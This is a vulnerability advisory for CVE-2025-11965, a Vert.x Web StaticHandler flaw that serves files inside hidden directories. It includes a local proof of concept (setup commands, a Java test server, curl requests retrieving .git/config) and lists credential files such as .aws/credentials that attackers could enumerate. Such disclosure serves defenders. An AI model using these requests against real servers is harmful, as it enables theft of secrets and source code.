CVE-2025-11965

Description

There is a flaw in the hidden file protection feature of Vert.x Web’s StaticHandler when setIncludeHidden(false) is configured.

In the current implementation, only files whose final path segment (i.e., the file name) begins with a dot (.) are treated as “hidden” and are blocked from being served. However, this logic fails in the following cases:

Files under hidden directories: For example, /.secret/config.txt — although .secret is a hidden directory, the file config.txt itself does not start with a dot, so it gets served.
Real-world impact: Sensitive files placed in hidden directories like .git, .env, .aws may become publicly accessible.

As a result, the behavior does not meet the expectations set by the includeHidden=false configuration, which should ideally protect all hidden files and directories. This gap may lead to unintended exposure of sensitive information.

Steps to Reproduce

1. Prepare test environment

# Create directory structure
mkdir -p src/test/resources/webroot/.secret
mkdir -p src/test/resources/webroot/.git

# Place test files
echo &quot;This is a visible file&quot; &gt; src/test/resources/webroot/visible.txt
echo &quot;This is a hidden file&quot; &gt; src/test/resources/webroot/.hidden.txt
echo &quot;SECRET DATA: API_KEY=abc123&quot; &gt; src/test/resources/webroot/.secret/config.txt
echo &quot;Git config data&quot; &gt; src/test/resources/webroot/.git/config

2. Implement test server

import io.vertx.core.AbstractVerticle;
import io.vertx.core.Vertx;
import io.vertx.ext.web.Router;
import io.vertx.ext.web.handler.StaticHandler;

public class StaticHandlerTestServer extends AbstractVerticle {
  @Override
  public void start() {
    Router router = Router.router(vertx);

    // Configure to not serve hidden files
    StaticHandler staticHandler = StaticHandler.create(&quot;src/test/resources/webroot&quot;)
      .setIncludeHidden(false)
      .setDirectoryListing(false);

    router.route(&quot;/*&quot;).handler(staticHandler);

    vertx.createHttpServer()
      .requestHandler(router)
      .listen(8082);
  }

  public static void main(String[] args) {
    Vertx vertx = Vertx.vertx();
    vertx.deployVerticle(new StaticHandlerTestServer());
  }
}

3. Confirm the vulnerability

# Normal file (accessible)
curl http://localhost:8082/visible.txt
# Result: 200 OK

# Hidden file (correctly blocked)
curl http://localhost:8082/.git
# Result: 404 Not Found

# File under hidden directory (vulnerable)
curl http://localhost:8082/.git/config
# Result: 200 OK - Returns contents of Git config

Potential Impact

1. Information Disclosure

Examples of sensitive files that could be exposed:

.git/config: Git repository settings (e.g., remote URL, credentials)
.env/*: Environment variables (API keys, DB credentials)
.aws/credentials: AWS access keys
.ssh/known_hosts: SSH host trust info
.docker/config.json: Docker registry credentials

2. Attack Scenarios

Attackers can guess common hidden directory names and enumerate filenames under them to access confidential data.
Especially dangerous for .git/HEAD, .git/config, .git/objects/* — which may allow full reconstruction of source code.

3. Affected Scope

Affected version: Vert.x Web 5.1.0-SNAPSHOT (likely earlier versions as well)
Environments: All OSes (Windows, Linux, macOS)
Configurations: All applications using StaticHandler.setIncludeHidden(false)

Published: Oct 22, 2025
Updated: Oct 23, 2025
CVE: CVE-2025-11965
GHSA: GHSA-h5fg-jpgr-rv9c
Severity: Medium
Exploit:

No technical information available.

CWEs:

CWE-552

Affected Software
References

Software	From	Fixed in
io.vertx / vertx-web	-	4.5.22
io.vertx / vertx-web	5.0.0	5.0.5

Vulnerability Database